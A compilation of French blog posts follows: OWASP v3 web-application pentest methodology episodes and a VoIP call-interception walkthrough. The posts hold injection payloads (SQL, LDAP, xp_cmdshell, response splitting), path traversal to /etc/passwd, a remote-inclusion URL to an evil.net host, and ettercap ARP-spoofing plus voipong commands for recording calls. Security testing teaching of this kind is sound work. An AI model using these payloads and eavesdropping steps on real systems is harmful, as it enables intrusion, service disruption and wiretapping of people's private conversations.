[STANDARD] OWASP - Episode 9

A grand pas, nous arrivons à la fin de notre étude sur la méthodologie OWASP. Dans ce neuvième épisode, nous traitons des Web Services. Mine de rien, c'est fou tout ce qu'ils peuvent nous permettre de faire ! Mais comme toujours, tout dépend de la sécurité de leur implémentation. Alors, prêt à tester ?

1 - Avant-propos

Dans la norme OWASP, il s'agit de la section 4.10. Nommée Web Services Testing - WS, elle aborde les grands axes d'attaques des services en question de leur découverte à leur exploitation en sept points.


2 - Phase de tests actifs 8 - tests sur les Web Services


2.1 - Collecte d'information sur les Web Services

Si nous ne connaissons pas la localisation des Web Services sur le serveur WEB hôte et que celle-ci n'est pas triviale, il nous faudra la trouver. Pour cela, plusieurs moyens s'offrent à nous :

• grâce à notre ami Google avec un requête du type :

inurl:wsdl site:nom_cible

• grâce à des sites de recensements de Web Services comme seekda.com, wsindex.org ou soapclient.com.

Sinon, nous pouvons tenter de les trouver avec les chemins, nom et extensions bien connus Pour cela, prendre les URLs connues et ajouter (combiner) :

• /services/
• nom_services
• wsdl, uddi, disco, etc. Essayer aussi en les précédant d'un "?"

2.2 - Tests des WSDL

Une fois repérés les WSDLs, nous aurons accès à leur description. Ce qui nous intéresse alors, ce sont :

• les noms des opérations (avec éventuellement leurs paramètres) ;
• les URLs et/ou adresses IP fournies (adresses externes ou internes ...).

Pour cela, deux outils peuvent nous être utilise : WebScarab (en version complète) et WSDigger.

2.3 - Structure des fichiers XML

La description des WSDL est enregistrée au format XML. Le présent paragraphe s'attache à la bonne constitution de ces fichiers XML. Pour cela, nous allons vérifier les points suivants :

• Le fichier est-il correctement formé ? Les balises sont-elles correctement fermées ?
• Des éléments permettent-ils d'injecter des données larges ?
• Des éléments permettent-ils d'injecter des binaires (éventuellement en base64) ?
• Des éléments permettent-ils de lancer des injections malicieuses (voir Épisode 8) ?

2.4 - Attaque XML Content-Level

Suite à l'analyse effectuée dans l'étape précédente, nous allons tenter d'exploiter les vulnérabilités potentielles repérées. Le but est de s'amuser avec les paramètres et de les transformer à notre guise pour tester le comportement du serveur et/ ou de mener des attaques. Cela suppose néanmoins de pouvoir intéragir avec les WSDL.
Nous allons illustrer nos propos avec le screenshot suivant (avec WebScarab) :


Pour commencer, nous choisissons le WSDL que nous voulons tester (WSDL :). Puis, on choisit l'opération qui nous intéresse (1). Ensuite, On change la valeur du paramètre souhaité (2). Nous chargeons l'outil de créer la requête SOAP associée en cliquant simplement sur "Execute" (3). Le résultat est fourni en (4).


2.5 - Requête HTTP GET

Cette fois, nous tentons de modifier les paramètres via l'URL directement. indirectement, notre but est d'agir sur le WSDL. Alors, dans les paramètres, nous modifierons les valeurs fournies dans les requêtes en GET ou mieux, d'exécuter des commandes précédées du séparateur approprié (e.g. & ' ; ou |). Par exemple, la commande pourrait être lancée par la procédure master..xp_cmdshell d'un MSSQL :

' exec master..xp_cmdshell + commande

2.6 - Requête SOAP avec attachement

Un peu plus complexe que l'étape 2.4, il s'agit ici de forger une requête SOAP aussi à destination du WSDL cible à la différence près que nous cherchons à incorporer un attachement dans la requête. L'objectif est - par exemple - d'uploader sur le serveur WEB un programme nous permettant de prendre la main. Comme le suggère la méthodologie, le test peut consister en un test EICAR.


2.7 - Attaque de rejeu

Nous travaillons cette fois en local et après avoir lancé une attaque de type MItM. Alors, notre but est de récupérer les éléments valides d'une session (credentials, cookie, etc ...) pour pouvoir nous approprier les requêtes passées par d'autres utilisateurs en les rejouant. Nous aurons besoin d'outils pour sniffer le trafic (ex : wireshark) + TCPReplay et/ou Webscarab.

[STANDARD] OWASP - Episode 8

Nous continuons sur notre lancée pour aborder le huitième épisode sur la méthodologie OWASP. Il s'agit ici de traiter des dénis de service. Rarement demandé lors d'un pentest, des effets pourtant ravageurs en cas de succès ...

1 - Avant-propos

Ce chapitre correspond à la section 4.9 de la norme, nommé Denial of Service Testing - DS. Puisque nous parlons de déni de service, les attaques correspondantes ne devront être lancées que si elles sont explicitement demandées. En effet, la compagnie demandeuse est rarement prête à prendre le risque de voir tomber sa prod'. Cependant, les tests peuvent se dérouler sur un environnement de test ou le client peut très bien être intéressé par des tests exhaustifs ou les dénis de services ont largement leur place.

2 - Phase de tests actifs 7 - tests sur les dénis de service

2.1 - DS-001 : Attaque DoS basées sur les "wilcard characters"

Les "wildcard characters" sont les caractères spéciaux qui remplacent plusieurs caractères ou une chaînes. Par exemple, le caractère "*" peut remplacer toutes les chaînes. Le but est de les utiliser pour forcer la base de données cible à chercher le plus longtemps possible pour répondre à notre requête. Voici quelques règles à suivre :

• La requête doit demander un élément inexistant ou très rare dans un champ de recherche très large ;
• Utiliser de longues et complexes requêtes avec des "wildcard characters" ;
• Commencer et terminer la requête par un "%" (pour le LIKE).

L'objet de cette attaque et de rendre la BDD inutilisable ou du moins très ralentie.

2.2 - DS-002 : Bloquer les comptes utilisateur

Généralement, un seuil est imposé pour le nombre d'essais autorisés pour se connecter avec un compte. Cela évite notamment les attaques de type "brute force". Cependant, une fois la totalité des essais épuisée, le compte est bloqué pendant une durée indétermminée. Nous avons deux cas :

• Nous connaissons le login des comptes à bloquer. Dans ce cas, tenter au moins 15 essais jusqu'à blocage du compte ;
• Nous ne connaissons pas de login. Alors, il nous faut les trouver grâce :
• aux messages et pages d'erreur fournis à partir de la page de login (point déjà traité) ;
• à la page de création de compte en tentant de créer un utilisateur déjà existant ;
• à la page permettant de recouvrer son mot de passe (point déjà traité).

2.3 - DS-003 : DoS basés sur des attaques de type "Buffer Overflow"

Nous avons déjà abordé le sujet des "buffer overflow" dans l'épisode précédent. La différence est qu'ici, le but est de simplement rendre inacessible un service. Par exemple, nous pourrons le vérifier si une page ou une fonctionnalité n'est plus disponible suite à notre attaque.

2.4 - DS-004 : DoS sur l'allocation d'objet

Parmi les actions permises pour l'utilisateur, ce dernier peut parfois - directement ou non - créer des instances d'un objet quelconque (propriété, caractéristique, entrée dans un base, etc.). Pour illustration, au niveau du code, la création d'un objet se fera avec un new.

2.5 - DS-005 : Utilisation d'une boucle

Les codeurs utilisent souvent des boucles dans leurs programmes. Si une boucle est localisée ou supposée, l'utilisateur pourra tenter de dépasser les limites d'une boucle (ex : dans le cas d'une boucle for) ou de lancer une boucle infinie (ex : avec une boucle while).

2.6 - DS-006 : Saturation d'un disque

Si la gestion des logs n'est pas sécurisée, il peut arriver que de nombreux logs soient enregistrés. Aussi, il est possible que le disque accueillant les logs n'ait pas un espace suffisant. Alors, le but de l'attaquant sera de générer un maximum de logs pour mettre en d'usage le système de log. Cette attaque se fera généralement à l'aide de scripts automatiques ou de requêtes coûteuses en espace disque.

2.7 - DS-007 : Saturation des ressources

Les ressources créées sur le serveur demandent des ressources diverses (disque, CPU, mémoire vive, et/ou réseau). Si elles ne sont pas fermées ou réallouée correctement, elles s'accumulent et peuvent provoquer une surcharge quelconque. Par exemple, nous pouvons avoir :

• des fichiers mal fermés qui sont lockés ;
• des ressources accumulées qui demandent une mémoire vive trop importante par rapport aux capacités du serveur ;
• des connections toujours actives sur un BDD jusqu'à atteindre le seuil autorisé (ex : 15 connexions simultanées).

2.8 - DS-008 : Saturation d'une session

Ici, nous tentons de stocker un maximum de données dans une session. Aussi, il peut s'agir de créer un maximum de session pour surcharger le serveur. Idéalement, nous combinerons les deux. Les exigences en termes de mémoire sont alors de plus en plus forte pour le serveur qui finira certainement par ne plus avoir les capacités d'assurer une telle demande.

[STANDARD] OWASP - Episode 7

Septième épisode de notre épopée vers la connaissance de la méthodologie OWASP. Nous n'avons pourtant pas encore couvert tous les sujets, ni même les plus classiques. En effet, s'il y a bien une recette qui marche à presque tous les coups en termes de pentests d'applis WEB, ce sont les injections en tout genre !

1 - Avant-propos

L'épisode 7 traite du contrôle des données fournies en entrée par un utilisateur (Data Validation Testing - DV). Dans le cas d'un attaquant, il tentera d'injecter des caractères spéciaux puis du code malicieux si le contrôle des données n'est pas efficace. Le but n'est pas d'expliquer le fonctionnement de chaque type d'injection (ou alors, je tente la page de blog la plus longue de la toile ;) mais de passer en revue les principales possibilités à la disposition d'un attaquant proposées par la norme en question.

2 - Phase de tests actifs 6 - tests sur les injections

2.1 - DV-001 : XSS non persistant

Il existe deux catégories d'attaque de type XSS (ou Cross Site Scripting) :

• les XSS non persistants qui ne sont pas maintenus dans l'application, lancé en "one-shot" (cf. le paragraphe présent) ;
• les XSS persistants qui sont maintenus et pourront être rejoués par les victimes à leur insue en consultants un page affectée par exemple sans que l'attaquant n'intervienne de nouveau (cf. paragraphe suivant) ;
  
• Il existe en réalité une troisième catégorie plus particulière, les attaques de type CSRF (vue dans l'épisode 4).

Pour trouver un XSS non persistant, nous abordons la démarche suivante :

• Quels sont les entrées possibles ? Où avons-nous une chance de réussir une telle attaque. La réponse a normalement été élucidée dans l'épisode 1 ;
  
• Phase d'analyse : tenter un XSS classique (cf. exemple ci-dessous. Encoder la requête si nécessaire).
• Phase d'attaque : injecter le code souhaité (ex : récupération des cookies).

2.2 - DV-002 : XSS persistant

Les XSS persistants sont encore plus appréciés de l'attaquant puisqu'ils peuvent avoir des retombées après coup. Une démarche similaire sera suivie pour injecter de tels codes :

• Trouver un moyen d'"enregistrer" votre XSS (formulaire, page de profil, page de configuration, etc.) ;
• Analyser le code HTML de la page pour y trouver le champ vulnérable ;
• Tester avec un XSS classique (un autre exemple est fourni ci-dessous).

• Injecter le code qui sera exécuter lorsque la page infectée sera consultée manuellement ou automatiquement (ex : par une moulinette). Il est aussi possible d'utiliser des outils d'exploitation (un prochain post ?).

2.3 - DV-003 : DOM Based XSS

En boîte grise, ce test consiste à

• trouver dans le code les fonctions potentiellement injectables (ex : document.location, document.url, ...) ;
• tenter l'attaque :
• ex1 : concaténer le caractère # suivi du code malicieux (javascript) dans l'URL ;
• ex2 : essayer le code XSS à la place des valeurs des paramètres.

Je vous invite à voir le document d'Amit KLEIN pour plus d'info sur ce sujet.

2.4 - DV-004 : Cross Site Flashing

Nous testons ici la sécurité des animations flashs :

• Dans un premier temps, récupérer le *.swf avec un simple wget ;
• Puis, utiliser flare pour le décompiler ;
• Trouver les méthodes potentiellement dangereuses (ex : loadVariables(), getURL(), etc.) ;
• Injecter le code malicieux (ex : javascript:code_malicieux).

Pour n'en citer qu'un seul, il existe un outil pour auditer ce genre d'animation : SWFIntruder.

2.5 - DV-005 : injections SQL

Là, on s'attaque à un très gros morceaux. La norme prend l'ampleur du sujet en traitant les bases de données les plus connues (MySQL, Oracle, MS SQL, Access, PostgreSQL). Nous n'abordons ici que le principe très (très très) général.

• L'attaque réussie la plupart du temps dans le champ d'un formulaire, d'un champ de recherche, d'un champ d'e-commerce ;
• Tester les caractères spéciaux et chaînes qui peuvent nous permettre de construire des requêtes SQL : ' ; - AND OR /*
• Lancer des injections SQL en devinant les requêtes sous-jacentes (ex : 1' or '1'='1)

2.6 - DV-006 : injections LDAP

Les bases LDAP renferment des informations souvent aussi sensibles que celles que l'on aurait pu récupérées dans les bases de données vulnérables (cf. paragraphe précédent). Concrétement, les attaques vont généralement se réaliser de la manière suivante :
utiliser le caractère * à la place des valeurs légitimes pour afficher tous les résultats ;
essayer les caractères ( | & , * pour provoquer des erreurs et obtenir des informations ;
pour l'authentification, il existe des attaques plus complexes (exemple ci-dessous).

username => *)(uid=*))(|(uid=*
password => nimportequoi

2.7 - DV-007 : injections ORM

L'ORM ajoute une couche intermédiare entre la base de données et l'application WEB. Cependant, il n'est pas exempt de vulnérabilité. Aussi, comme toute solution, elle n'est efficace que si elle est configurée correctement. Sinon, son effet peut être inverse ... Le but de cette phase est donc :

• de s'assurer que l'ORM ne comporte pas de faille, ni de défaut de configuration ;
• de tester les attaques d'injections seront similaires à celles déjà évoquées en DV-005 ;
• en cas de test en mode boîte grise/blanche, d'étudier le code qui pourra certainement révéler de nouvelles failles.

2.8 - DV-008 : injections XML

Le format XML est aujourd'hui très répandu pour transporter les informations entre l'IHM et la base de données. Il est donc fréquent de rencontrer ce format lors d'un pentest. Une nouvelle piste pour l'audit !

• Tester les caractères spéciaux acceptés et susceptibles d'intervenir pour une injection : ' " < > &
• Connaître la structure de la base de données. Est-il possible de lire la DTD ? Si oui, repérer les noms de champ intéressants ... Utiliser le type Entity avec le caractère & ;
• Tester un Tag injection en insérant des tags malicieux dans les champs vulnérables.

En tant qu'exemple, nous prenons un champ qui ajoute un utilisateur dans la BDD. Nous allons en ajouter deux de la manière suivante :

Deuxième exemple : nous ajoutons une propriété supplémentaire à notre utilisateur :

2.9 - DV-009 : injections SSI

SSI pour "Server Side Includes" permet d'obtenir du code dynamique dans ses pages HTML. Quelles sont les pages vulnérables ? En générale, les pages dont l'extension est *.shtml mais pas forcément. Alors comment le savoir ? Encore une fois, tester la réaction du serveur face aux caractères spéciaux : < ! # = / . " - >
Puis ... à l'attaque ! Voici un exemple ci-dessous :


2.10 - DV-010 : injections XPATH

XPATH est le langage qui sert à interpréter des fichiers XML. Les attaques vont être très similaires à une injection SQL :

• Comment tester ? Tenter le caractère '. Cela provoque-t-il une erreur intéressante ?
• Tester une injection SQL classique (cf. DV-005 pour avoir des exemples plus que classique :)
• Adapter l'attaque si on a connaissance du code XML associé.
• De la même façon que pour SQL, nous pouvons tenter une attaque en aveugle.

2.11 - DV-011 : injections IMAP/SMTP

Bon, il n'est pas nécessaire de présenter les protocoles IMAP et SMTP mais connaissez-vous les attaques possibles sur ces protocoles en termes d'injection ?

• Injection dans l'URL : modifier un paramètre en lui donnant une valeur nulle, aléatoire ou contenant un caractère spécial. Vous pouvez aussi modifier le nom du paramètre ou carrément le modifier. A travers ces différents tests, vous connaîtrez mieux le comportement du serveur de messagerie.
• Compléter votre connaissance en générant des erreurs sur les paramètres et valeurs vulnérables d'après le premier point. Le but est de connaître les flux et structures intéressant de la méssagerie.
• Tester les injections sans être connecté (ex : utilisez les commandes IMAP) puis en l'étant si vous disposez d'un compte (ex : utilisez les caractères CRLF au bon endroit du mail qui n'est pas constitué que du corps de message ...).

2.12 - DV-012 : injections de code

Dans l'URL, il est parfois possible de lancer des commandes en modifiant les paramètres avec du code malicieux (encodé). En boîte grise, nous chercherons les parties de code ou fonction qui autorise d'entrée du code et qui, surtout, accepte des injections permettant l'exécution de code sur le serveur hôte (ex : un simple ls).

2.13 - DV-013 : OS Commanding

Intéragir avec le serveur hôte est un grand pas dans notre phase d'attaque. Les méthodes les plus classiques consistent à enchaîner des intructions malicieuses à des instructions légitimes. En général, cela revient à ajouter :

• & suivi de la commande (Windows) ;
• ; suivi de la commande (Linux) ;
• | suivi de la commande.

2.14 - DV-014 : Buffer Overflow

Bon bah là, pour résumer en moins de cent lignes, je sais pas faire ;) Il faut savoir que la norme prend en considérations les trois types d'attaques suivants : Heap overflow, Stack overflow et String Attack. Pour la démarche, je vais énormément simplifier mais grossièrement :

• On injecte une chaîne trop grande ;
• On repère l'octet où on pourra injecter une adresse qui redirige vers notre code malicieux ;
• Dans le cas d'une string attack, on utilisera les chaînes suivantes : %x, %s et %n pour tenter de corrompre l'application.

2.15 - DV-015 : Incubating Vulnerability

Cette fois, nous tentons de corrompre l'application en y "déposant" un code malicieux que nous pourrons réutiliser pour pousuivre notre attaque (exemple, une backdoor) ou en espérant qu'une gentille victime actionne notre piège.

• Il peut s'agir tout simplement d'uploader notre code grâce à un champ sympa (ex :champ pour l'upload de fichier) ;
• Aussi, il peut s'agir d'XSS, injection SQL + XSS, ... (ex : dans un forum) ;
• Ou encore, en profitant d'un défaut de sécurité ou de configuration. Par exemple, on peut injecter un fichier WAR malicieux (cf le post sur Jonas et JBoss ...).

2.16 - DV-016 : Splitting et Smuggling attack

Une splitting attack consiste à s'arranger pour envoyer deux requêtes HTTP dont une notamment qui ne devrait pas être acceptée normalement par le serveur WEB.

• Utiliser le CRLF avec votre requête malicieuse. Pour info, nous pouvons encoder le CRLF en %d%a ...
• La requête toute entière doit être encodée ;
• Pour compléter l'attaque, nous modifons le champs Last-modified avec une date dans le futur (ce champ est dans l'entête de la requête HTTP).

Plus que des mots, un exemple ci-dessous :

fr%0D%0AContent-Length%3A%200%0D%0A%0D%0AHTTP%2F1.1%20200%20OK%0D%0AContent-Type%3A%20text%2Fhtml%0D%0AConteny-Length%3A%2031%0D%0A%3CHTML%3ESuccessfully%20Hacked!%3C%2Fhtml%3E

[STANDARD] OWASP - Episode 6

Ce nouvel épisode est la suite de notre étude de la nouvelle version de la norme OWASP. Le but est de pratiquer les tests d'intrusion de manière méthodologique et aussi, de donner de nouvelles idées. Particulièrement, ce sixième épisode s'attache aux spécificités métiers de l'application cible.

1 - Avant-propos

Le sixième épisode que nous traitons ici représente le cinquième chapitre de tests actifs après un premier chapitre de découverte. Dans la norme OWASP v3, il s'agit du chapitre 4.7 relatif aux tests de l'application WEB cible et notamment les fonctions métiers qui peuvent être sujettes à des problèmes de sécurité.


2 - Phase de tests actifs 5 - tests sur les fonctionnalités métiers

2.1 - BL-001 : Tests des fonctionnalités métiers

Puisque chaque application est différentes, il n'existe pas de tests particuliers que nous pouvons fournir de manière certaine. Cependant, une démarche précise est proposée pour couvrir au mieux l'application et tenter de trouver les failles de sécurité éventuelles.

1/ Comprendre l'application :

Il s'agit ici de connaître les possibilités offertes par l'application. Pour cela, l'auditeur pourra s'aider de la documentation disponible (test en boîte blanche) et de sa propre exploration de l'application en navigant sur les différentes pages. Il est important de noter à cette étape :

• les limites rencontrées (que nous essaierons ensuite de contourner) ;
• les différentes manières de réaliser certaines actions (notamment les actions les plus importantes).

Cette première étape nous fournit un aperçu de l'application et nos premières pistes.

2/ Etablir les scénario de tests :

Nous prenons ici en compte tous les cas possibles que nous devrons croiser entre eux pour être exhaustif. Les cas en questions sont :

• les fonctionnalités principales (recherche d'un produit, commande d'un produit, ...) ;
• le circuit de validation d'une action (ex : de la commande à la validation d'un achat) ;
• les différents rôles intervenant sur l'application (e.g. de l'administrateur au directeur) ;
• les différents services (service IT, marketing, ...) ;
• les droits et privilèges accordés à chacun ... et à vérifier.

Ces cinq éléments doivent nous permettre de constituer un tableau avec l'ensemble des actions permises pour chaque niveau d'utilisateur.

3/ Préparation des tests

Suite à l'étape précédente, nous devons déterminer ici le ou les test(s) à réaliser en conséquence pour nous assurer que l'application est correctement cloisonnée par type d'intervenant et par action.

Par conséquent, à l'issue de cette troisième étape, un nouveau tableau sera créé contenant les tests résultants de l'étape précédente. Nous nous appuierons donc largement sur le précédent tableau.

4/ Obtention des pré-requis

Maintenant que les tests à réaliser sont connus, il est temps de demander au client les ressources nécessaires à leur réalisation. La plupart du temps, il s'agira de comptes avec des niveaux de privilèges différents. Aussi, il peut s'agir d'URL d'administration pour les comptes les plus privilégiés. Il est préférable de commencer avec un compte standard et de demander les ressources au fur et à mesure pour ne pas influencer les tests.
Par exemple, est-il possible de trouver et d'accéder à l'interface d'administration avec un compte standard sans information préalable ?

5/ Exécution des tests

L'exécution des tests issus du tableau déterminé en 3/ considérera la plupart du temps :

• l'analyse des requêtes HTTP ;
• les protections apportées (ou non) aux flux et données (e.g . chiffrement) ;
• la récupération d'erreur lorsque nous testons des valeurs limites ou hors range (ex : valeur négative ou très importante pour une somme) ;
• la recherche d'information cachée dans le traitement des actions;
• la modification de données en cours d'action ;
• le contournement d'une ou plusieurs étapes de validation ;
• etc.

A vous de jouer !


La suite au prochain épisode.

[STANDARD] OWASP - Episode 5

Ce post traite la quatrième phase des tests actifs. Ils sont relatifs à l'autorisation sur les ressources (utilisateurs, fichiers, données, etc.) gérées par l'application WEB testée. Le but des attaques présentées est de trouver l'accès à des ressources protégées ou de réaliser une escalade de privilèges.

1 - Avant-propos

Nous continuons notre aventure à la découverte de la norme OWASP v3 dans ce cinquième épisode. De nom originel "Authorization Testing", il s'agit du chapitre 4.6 de la norme. A noter que cette partie aborde plus des points d'attaque que des attaques précises. En effet, une escalade de privilège suit rarement un acheminement précis sauf dans le cas d'un exploit existant qui entre dans le cadre d'une vulnérabilité trouvée.


2 - Phase de tests actifs 4 - tests sur les autorisations

2.1 - AZ-001 : Traverse de répertoires (ou "Path Traversal")

Nous allons mener cette attaque en deux étapes :

1/ Rechercher les points susceptibles d'être vulnérable à une telle attaque : URL, cookie, et autres points contenant ou acceptant un point d'entrée (généralement, avec le signe "=").
2/ Tester l'attaque dont voici quelques exemples :

• dot dot slash attack. Ex : ../../../etc/passwd ;
• injecter une URL malicieuse dans une URL de l'application. Ex : http://www.cible.php?page=http://evil.net/script_malicieux
• tenter de dévoiler le code source d'une partie de l'application. Ex : http://www.cible.com/function.cgi?file=trouverez-vous-mon-code-source.cgi.

Dans le cas où un filtrage des caractères est mis en place, il est bon de savoir que :

• ../ s'écrit aussi %2e%2e%2f ou encore ..%c0%af
• ..\ s'écrit aussi %2e%2e%5c ou %252e%252e%255c ou encore ..%c1%9c

Dans le cadre d'un test en boîte grise, la méthodologie est la même (suivre les deux mêmes étapes). La différence est que les points d'entrée devront être cherchés dans les fonctions spécifiques comme par exemple :

• include() en PHP ;
• java.io.file() en JSP.

2.2 - AZ-002 : Contournement des autoriations

Pour cette partie, il n'existe pas de manière précise d'opérer. Cependant, répondre aux questions suivante en effectuant les tests associés permettra à de savoir si les autorisations appliquées à l'application peuvent être contournées ... quand elles existent.

• Peut-on accéder à la ressource non autorisée sans être connecté ? Une fois déconnecté ?
• Est-il possible d'accéder à une ressource administrative avec un compte standard ?
• Dans les requêtes HTTP, est-il possible de modifier certains paramètres pour obtenir de nouveaux droits ?
• Tester si un utilisateur qui ne devrait pas avoir accès à une certaine ressource ne peut effectivement pas y être autorisé.

2.3 - AZ-003 : Escalade de privilèges

Tout d'abord, il est important de savoir qu'il existe deux types d'escalade de privilège afin que les tests soient exhaustifs :

• L'escalade horizontale : elle consiste à accéder à une ressource d'un autre utilisateur qui a les mêmes droits que nous (ex : le compte mail d'un autre utilisateur) ;
• L'escalade verticale : elle consiste à accéder à des ressources requérant des droits supérieurs (ex : des droits administrateurs alors que nous n'avons qu'une compte utilisateur standard).

Les tests se font de la manière suivante :

• commencer par trouver les champs susceptibles de permettre une escalade de privilèges (ex : un champ caché contenant un ID ou un niveau d'autorisation) ;
• modifier les valeurs repérées et voir le comportement de l'application. Est-ce que la modification nous fournit l'accès à de nouvelles ressources ? A des ressources demandant normalement un accès privilégié ?

Pour que ce soit plus clair, il suffit d'imaginer par exemple que le niveau d'authentification est fourni dans le cookie : Session-ID=3-adebadbcaf85cc43+adfg32+56defc, le premier chiffre avant le tiret (ici, 3) pourrait très bien représenter le niveau d'authentification. Essayer donc avec "1" ou "5".


La suite au prochain épisode ...

[STANDARD] OWASP - Episode 4

Nous abordons ici la troisième phase des tests actifs. Ils concernent la gestion des sessions à travers les cookies. De nombreux paramètres peuvent être testés. Etant donné qu'une mauvaise implémentation peut permettre l'obtention d'une session à un attaquant, nous voyons de suite l'intérêt de ce sujet.

1 - Avant-propos

Ce post est le quatrième d'une série de dix. Chaque "épisode" aborde un chapitre de la norme OWASP, version 3. Le but est de mener le test d'intrusion d'une application WEB méthodologiquement. Le post présent fait référence au chapitre 4.5 de la norme, nommé "Session Management". Pour la partie théorique, voir l'article sur Wikipedia en anglais très intéressant. Pour le côté pratique, il est recommandé d'effectuer tous ces tests à l'aide d'un proxy local pour intercepter et rejouer les requêtes HTTP.

2 - Phase de tests actifs 3 : tests sur la gestion des sessions à travers les cookies

2.1 - SM-001 : Structure des cookies

Ce premier point est en fait une prise d'information sur la façon dont sont créés et utilisés les cookies. Mieux comprendre le fonctionnement permet au moins de mieux préparer les attaques qui suivent et au mieux de trouver de premières vulnérabilités.

1/ Ouvrir un certain nombre de sessions faisant intervenir les cookies à analyser (NB : il est possible de s'aider d'un outil comme Cookie Digger pour les étapes qui suivent).

• Combien de cookies sont générés pour ouvrir une session ? Quand ? Comment ? Sont-ils modifiés dans le cadre de la session ?
• Les cookies eux-mêmes révèlent-ils des informations intéressantes ? (notamment le Session ID)
• Les données contenues dans les cookies sont-elles chiffrées ? Si oui, l'algorithme utilisé est-il fiable ?
• La génération des Sessions ID est-elle prédictible ou réellement aléatoire ?

2/ Reverse engineering des cookies.

• Est-il possible de créer un cookie valide ?
• Est-il possible de modifier un paramètre contenu dans le cookie ? (ex : Admin=No que l'on changerait en Admin=Yes).
• Que se passe-t-il en cas de modification du cookie ? (suppression / remplacement ou ajout de caractères) ?
• Quels est l'ensemble des caractères utilisés ?

3/ Manipulation des cookies.

• L'ID est-il présent en clair ?
• Sinon, peut-il être deviné ? (ex : algorithme trop simple)
• Sinon, est-il résistant aux attaques de type Brute-Force ? (NB : cf. Cookie Digger)

2.2 - SM-002 : Les attributs des cookies

Les cookies les plus critiques doivent comporter un certain nombre de flags et ceux-ci doivent être correctement configurés :

• Le flag secure (impose la transmission via un tunnel chiffré comme SSL) ;
• Le flag HTTP-Only (pour se prémunir contre certaines attaques de type XSS) ;
• Le flag Domain doit être présent et le plus précis possible ;
• De même pour le flag Path (i.e. différent de "/") ;
• De même pour le flag expires doit être configuré pour éviter le rejeu.

2.3 - SM-003 : Fixation des cookies

Admettons qu'un même cookie puisse être réutilisé pour ouvrir une session, le récupérer d'une manière ou d'une autre donne un accès, voir l'accès d'un autre utilisateur.

• Il suffit de générer un cookie via une requête GET sur le site cible.
• Ensuite, on réutilise ce cookie avec une requête POST.

Par exemple, faites un GET sur le site blogspot.com :

telnet www.blogspot.com 80
GET / HTTP/1.0

Ces opérations peuvent être effectuées via un proxy local (Burp, Paros, Webscarab, ...).


2.4 - SM-004 : Exposition des variables (cookie, session-ID, ...)

1/ Tenter de se connecter via un session HTTP. Les cookies sont-ils systématiquement générés via un protocole chiffré ? (e. g. HTTPS). La partie authentifiante est-elle renouvelée à chaque authentification ? Sinon, il y a un risque de rejeu...

2/ La version 1.1 du protocole HTTP est-elle implémentée ? Elle permet l'interprétation de l'attribut cache avec l'argument no-cache évite la réutilisation du cookie (cf. image ci-dessus).

3/ La génération des cookies se fait-elle à travers la méthode POST ? Cette dernière est moins vulnérables que la méthode GET.


2.5 - SM-005 : Attaque CSRF

Ce post n'a pas pour ut d'expliquer cette attaque en détail mais le lecteur curieux trouvera des informations sur le site Wikipedia de nouveau.
Le test peut être mener en cinq étapes :

1/ Trouver une URL valide qui lance l'action souhaitée (ex : www.cible.com/administrative_task) ;
2/ Créer une page HTML contenant cette URL (lien HTTP, image, ...) ;
3/ Assurez-vous que l'utilisateur est actuellement loggé à l'application (et donc que sa session est ouverte) ;
4 / Trouvez un moyen de faire cliquer l'utilisateur sur le lien (1/) présent sur votre page (2/) ;
5/ Vérifier que la commande a bien été exécutée.

Le but est donc que la commande que vous souhaitez exécuter le soit par l'utilisateur lui-même avec sa session quand vous n'avez pas les accès nécessaires.


La suite au prochain épisode ...

[PENTESTING] VoIP Hacking

La VoIP est depuis quelques années déjà une partie intégrante du SI. Elle est considérée comme un point sensible car les conversations permettent de révéler des informations importantes et surtout, peuvent porter à la vie privée des employés. Nous allons donc voir ici, d'un point de vue technique, quelle est la manière de récupérer des conversations.

1 - Avant-propos

Il est important de noter que le cas présenté ici est simple. En effet, nous considérons que tous les composants de notre attaque (passerelle VoIP + machines victimes + machine d'audit) sont dans le même réseaux ou dans des réseaux non cloisonnés.
Aussi, les flux ne sont pas chiffrés et l'authentification inexistante. Cependant, c'est un cas tout à fait réaliste dans le sens où c'est ce que nous pourrions trouver dans une entreprise qui a laissé les paramétrages par défaut.


2 - Localisation des éléments clés

Notre interception de trafic repose sur le sniff entre la passerelle VoIP et le routeur le plus proche de la machine d'audit (ici). Ensuite, nous devons accompagner ce sniff par une attaque de type Man-in-the-Middle. Nous devrions alors récupérer un tas de choses intéressantes...

2.1 - Localisation du routeur le plus proche

Nous effectuons tout simplement un traceroute pour trouver le routeur en question (ce que nous pourrons vérifier par des moyens simples (ifconfig / requête SNMP / ...) :

L'adresse de notre routeur est donc : 10.xxx.yyy.2.

2.2 - Localisation de notre passerelle VoIP

Nous utilisons l'outil smap qui permet de trouver les éléments actifs sur le port 5060 (SIP).

smap 10.xxx.zzz.0/24

Nous détectons ainsi la passerelle comme le montre le screenshot suivant :

L'adresse de notre passerelle VoIP est donc : 10.xxx.zzz.130.

Pour vérification et avoir plus d'information sur ma machine repérée, nous lançons smap avec l'option -o :

smap -o 10.xxx.zzz.130

3 - Interception du trafic

Nous mettons en œuvre cette fois l'attaque Man-in-the-Middle à l'aide de l'outil Ettercap. Puisque cette attaque est bien connue et déjà expliquée sur ce blog, nous n'entrerons pas dans les détails ici. Sinon, voir [post, point 3.2] [wikipedia].

Nous lançons la commande :

ettercap -Tqi eth0 -M arp /10.xxx.zzz.130/ /10.xxx.yyy.2/

4 - Capture et enregistrement des conversations

Pour réussir cette dernière étape, nous utilisons deux outils disponibles notamment sur la backtrack 3 :

• voipong
• voipctl

4.1 - Un peu de configuration

Pour donner l'adresse du réseau audité, aller dans le fichier de configuration voipongnets.

cd /usr/local/etc/voipong
vi voipongnets

Vous trouverez seulement deux lignes. Ici, notamment sur la deuxième ligne, mettez le sous réseau audité. Si ça ne marche pas, faites de même sur la première ligne.


4.2 - Lancement des outils

Tout simplement, nous lançons voipong ...


... puis voipctl


4.3 - Écoutez !

Il ne vous reste plus qu'à récupérer les fichiers audio enregistrés (voir le fichier de configuration de voipong pour connaître le répertoire de destination) et à lancer votre lecteur audio préféré.


Have fun! ;)